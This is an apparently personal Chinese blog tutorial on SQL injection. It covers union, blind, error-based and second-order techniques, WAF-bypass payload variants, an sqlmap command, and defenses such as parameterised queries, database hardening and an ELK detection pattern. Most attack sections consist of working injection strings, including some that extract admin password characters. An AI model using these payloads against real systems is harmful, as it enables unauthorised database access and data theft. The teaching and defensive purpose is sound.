三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

SQL注入攻击原理、防御与实战案例分析

SQL注入攻击原理、防御与实战案例分析

1. SQL注入攻击的本质与演变

SQL注入(SQL Injection)作为Web安全领域的"元老级"漏洞,自1998年被首次公开披露以来,长期占据OWASP Top 10榜单。这种攻击的本质是通过构造特殊输入,改变原始SQL语句的逻辑结构,使数据库执行非预期的操作命令。根据Verizon《2023年数据泄露调查报告》,约21%的数据泄露事件与SQL注入有关。

在早期Web开发中,开发者常采用字符串拼接方式构造SQL语句:

$sql = "SELECT * FROM users WHERE username='" + $_POST['username'] + "'";

当攻击者输入admin' --时,实际执行的SQL变为:

SELECT * FROM users WHERE username='admin' -- '

--后的内容被注释,导致攻击者无需密码即可登录。这就是最基础的SQL注入形式。

随着防护手段升级,攻击技术也经历了三次重要演进:

  1. 联合查询注入(Union-Based):利用UNION操作符拼接恶意查询
  2. 报错注入(Error-Based):通过故意触发错误获取信息
  3. 盲注(Blind Injection):在无显式反馈时通过布尔判断提取数据

2. 联合查询注入深度解析

2.1 UNION操作符的滥用原理

UNION在SQL中用于合并多个SELECT结果集,要求:

  • 每个查询必须包含相同数量的列
  • 对应列的数据类型必须兼容

攻击者利用这一特性,先通过ORDER BY探测列数:

' ORDER BY 5--

当列数超出时会报错,从而确定准确列数。接着构造UNION查询:

' UNION SELECT 1,2,3,4,5--

观察哪些数字出现在页面,即可确定回显位。

2.2 实战信息收集技巧

假设在回显位2和4,可获取关键信息:

' UNION SELECT 1,@@version,3,user(),5--

常用信息收集语句:

-- 数据库版本 SELECT @@version -- 当前数据库 SELECT database() -- 所有数据库 SELECT schema_name FROM information_schema.schemata -- 表结构探测 SELECT table_name FROM information_schema.tables WHERE table_schema='目标库'

重要防御:使用预编译语句(PreparedStatement)能有效阻断UNION注入,因为参数化查询会将用户输入始终视为数据而非SQL语法。

3. 盲注技术实战剖析

当页面没有显式错误回显时,就需要使用盲注技术。主要分为三类:

3.1 布尔盲注(Boolean-Based)

通过条件语句的真假影响页面表现差异。典型结构:

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--

通过逐个字符猜测,结合页面响应差异判断条件真假。

优化技巧:

  • 使用ASCII()函数避免编码问题:
' AND (SELECT ASCII(SUBSTRING(password,1,1)) FROM users)=97--
  • 二分查找法加速猜测:
' AND (SELECT ASCII(SUBSTRING(password,1,1)) FROM users)>100--

3.2 时间盲注(Time-Based)

当布尔差异也不存在时,引入时间延迟作为判断依据:

' AND IF(1=1,SLEEP(5),0)--

实际案例(MySQL):

' AND IF(EXISTS(SELECT * FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a'), SLEEP(3), 0)--

3.3 报错盲注(Error-Based)

利用数据库报错机制泄露信息,如MySQL的exp()函数:

' AND exp(~(SELECT*FROM(SELECT CONCAT(':',user(),':',database(),':'))x))--

4. 现代防御体系下的注入突破

4.1 WAF绕过技巧

  1. 编码混淆:
' UNION SELECT%201,2,3%23
  1. 注释分割:
'/**/UNION/**/SELECT 1,2,3--
  1. 大小写变异:
' uNiOn sElEcT 1,2,3--

4.2 二阶注入攻击

即使前端过滤,存储的数据被二次使用时仍可能触发:

-- 注册时存入恶意数据 INSERT INTO comments VALUES ('admin''-- '); -- 后续查询时触发 SELECT * FROM comments WHERE user='admin'-- '

5. 防御体系建设最佳实践

5.1 开发层防护

  1. 参数化查询(Java示例):
String sql = "SELECT * FROM users WHERE username = ?"; PreparedStatement stmt = conn.prepareStatement(sql); stmt.setString(1, request.getParameter("username"));
  1. 最小权限原则:
CREATE USER 'webuser'@'localhost' IDENTIFIED BY 'password'; GRANT SELECT ON app_db.users TO 'webuser'@'localhost';

5.2 运维层防护

  1. 数据库配置加固:
[mysqld] secure-file-priv = NULL local-infile = 0
  1. 日志监控规则示例(ELK):
"filter": { "grok": { "match": { "message": "(?i)(union.*select|sleep\(|benchmark\(|-- |#)" } } }

6. 实战检测工具链

6.1 自动化扫描

sqlmap -u "http://example.com?id=1" --risk=3 --level=5 --batch

6.2 手工检测流程

  1. 初步探测:
GET /product?id=1' AND '1'='1 GET /product?id=1' AND '1'='2
  1. 确定注入类型
  2. 信息收集
  3. 数据提取

7. 新型攻击趋势

  1. NoSQL注入:
db.users.find({username: {"$ne": ""}, password: {"$ne": ""}})
  1. GraphQL注入:
query { users(filter: "1' OR 1=1-- ") { id name } }

在渗透测试中,我曾遇到一个有趣的案例:某系统对单引号做了转义,但通过CHR(39)函数成功绕过。这提醒我们,安全防护需要多层次、纵深防御。建议开发者在代码审查时特别注意以下高危函数:

  • 直接拼接SQL的execute()
  • 动态构造查询的QueryBuilder
  • 未过滤的CONCAT()使用

最后分享一个检测技巧:在测试输入框时,除了常见符号,尝试输入'"\;等特殊字符,观察系统响应差异。真正的安全防护应该从理解攻击者的思维开始。

← 返回列表